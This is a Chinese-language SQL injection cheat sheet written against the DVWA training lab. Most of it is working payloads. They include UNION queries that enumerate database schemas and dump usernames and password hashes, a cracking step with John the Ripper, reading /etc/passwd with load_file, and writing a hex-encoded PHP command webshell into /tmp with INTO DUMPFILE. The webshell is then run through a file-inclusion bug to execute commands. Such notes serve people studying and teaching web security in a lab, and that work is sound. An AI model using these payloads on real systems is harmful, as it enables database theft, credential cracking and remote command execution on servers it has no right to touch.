1 简介
服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
2 几种测试方法
2.1 基于报错的检测方法
‘ ” ( % ) 查看报错信息确认
2.1 基于布尔的检测
1' and '1
1' and '0
2.1 字段数/显示位
' order by 字段数--+(通过猜测判断字段数)
union [all] select 1,2--+(通过联合查询判断显示位
2.2 利用函数
user():返回当前用户
version():返回数据库的版本号
database():返回当前数据库名
char():ASCII转字符
全局函数:@@datadir,@@hostname,@@version,@@version_compile_os
concat_ws(x, s1,s2...sn):若是concat就没有x这个分隔符,用来拼接字符串,eg:?id=' union select concat_ws(char(32,58,32),user(),database(),version()),null--
substring_index(s, delimiter, number):s是字符串[比如执行函数后返回的结果],delimiter是分隔符,number返回的是第number个子串,eg:?id=' union select substring_index(user(),'@',1),null--
更多直接查文档吧嘻嘻嘻
2.3 关于infomation_schema(数据库的元数据)
所有库的所有表
?id=' union select table_name,table_schema from information_schema.tables--
统计每个库中表的数量
?id=' union select count(*),table_schema from information_schema.tables group by table_schema--
dvwa中的表名
?id=' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
爆users中的字段
?id=' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--
爆用户名密码
?id=' union select concat(user,char(32),password),null from dvwa.users--
ps:关于dvwa爆出密码的破解
(1) 拷贝出密码5f4dcc3b5aa765d61d8327deb882cf99,可首先使用hash-identifer识别为MD5,创建文件类似admin:5f4dcc3b5aa765d61d8327deb882cf99(爆数据时候用0x3a作为分隔符就可直接拷贝)
(2)john --format=raw-MD5 dvwa破解(注,第二次运行加上--show参数可正确显示出已破解密码)
2.3 读写文件及下载数据库
读取文件
?id='%20union%20select%20null,load_file('/etc/passwd')--%20
写入文件
' union select null,"" into dumpfile "/var/www/a.php"--
上面会发现没有权限写入文件,这是因为此处使用的的mysql进程来进行写入的,mysql的进程可以ps -aux|grep mysql看到,
而www的目录权限为
mysql进程的user是mysql,所以没有权限写入文件,去掉目录,直接写入到默认目录
union select null,"" into dumpfile 'a.php'--
写入成功,find / -name a.php发现上传到了mysql进程的指定目录/var/lib/mysql下的dvwa目录中,然而无用,dvwa的权限为
此时就求助于大家都有权限的临时文件目录/tmp,将a.php写入到此目录中
' union select null,"" into dumpfile "/tmp/a.php"--
接着使用之前的文件包含漏洞就可成功进行命令执行
?page=/tmp/a.php&cmd=id
技巧
使用16进制编码webshell,mysql在dumpfile写入文件时会进行转换,可以使用
cat c.php | xxd -ps | tr -d '\n' [这其中的xxd -ps用来output in postscript plain hexdump style,tr -d用来删除换行符,不然mysql会不能解析]
之后可以使用' union select null, (0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e0a) into dumpfile "/tmp/b.php"-- 上传webshell,注意"null,"后面有一个空格
保存下载数据库
' union select user,password from users into outfile "/tmp/a.db"--
2.3 无权读取information_schema/拒绝union、order by语句
猜列名:' and column_name is null --+(可使用burp进行爆破)
猜当前表表名:’ table_name.column_name is null --+
猜库里其他表:' and (select count(*) from a)>0--+
列表对应关系:' table_name.column_name is null--+
猜字段内容:' or user='admin,' or user like '%a%
猜账号对应密码:' or user='admin' and password='md5blablabla'
2.4 当数据库可写
可直接update:update users set user='xxx' where user='admin
或者直接insert:insert into...,还删除表等等,但是dvwa此处无法利用(sql客户端工具的问题而非sql数据库问题,kali下的HexorBase同理)
xp_cmdshell:存储过程
2.4 关于medium级别和高安全级别
使用了mysql_real_escape_string()对\x00,\n,\r,\,',",\x1a进行转义
注:php 5.5.0已弃用该函数,php 7.0.0已删除该函数改用MySQLi,PDO_MySQL
但是此处源代码中 $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 单引号不复存在,正常执行注入即可,都不需要闭合
高安全级别中过滤了特殊字符,最重要的是对传进的参数类型做了判断
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){......